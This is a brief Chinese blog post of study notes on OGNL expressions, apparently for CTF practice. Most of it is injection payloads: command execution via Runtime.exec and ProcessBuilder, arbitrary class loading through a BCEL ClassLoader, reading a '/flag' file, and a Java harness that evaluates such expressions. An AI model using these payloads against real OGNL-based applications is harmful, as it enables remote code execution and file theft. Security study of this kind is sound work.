浅看OGNL

ONGL

@获取静态对象、静态方法、静态变量

@java.lang.Runtime@getRuntime().exec('calc')

#非root用户获取对象

context.put("student2", student2);
Ognl.getValue("#student2.name", context, context.getRoot());

new 一个类时,要写完整类名

new java.lang.String("testnew")

%{}里的是OGNL表达式并计算表达式的值。

$在配置文件中引用OGNL表达式。

创建MAP:#{key:value,key1:value1...}

创建list {value1,value2...} !!

命令执行

@java.lang.Runtime@getRuntime().exec("calc")
(new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).start()

注意什么时候用@,什么时候用. (是否是静态方法)

#实例化时记得先把前面先包起来,再newInstance

(#a=new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass('$$BCEL$$....')).newInstance()

文件读取

(#a=new java.util.Scanner(new java.io.File("/flag")).next())

大体框架

OgnlContext context = new OgnlContext();
//        context.setRoot(test);
context.put("user",user);
//        //表达式
String express = "(#a=@java.lang.Runtime@getRuntime().exec('calc'))";
//        String express = "(new java.lang.ProcessBuilder(new java.lang.String[]{\"calc\"})).start()";

Object ognl = Ognl.parseExpression(express);
Object value = Ognl.getValue(ognl,context,context.getRoot());
System.out.println(value);

原理

大多是一些ASTXXX (一些语法树)。。。

自己看文章吧

Ref

一文读懂OGNL漏洞 - 先知社区 (aliyun.com)


浅看OGNL
https://zer0peach.github.io/2023/09/12/浅看OGNL/
作者
Zer0peach
发布于
2023年9月12日
许可协议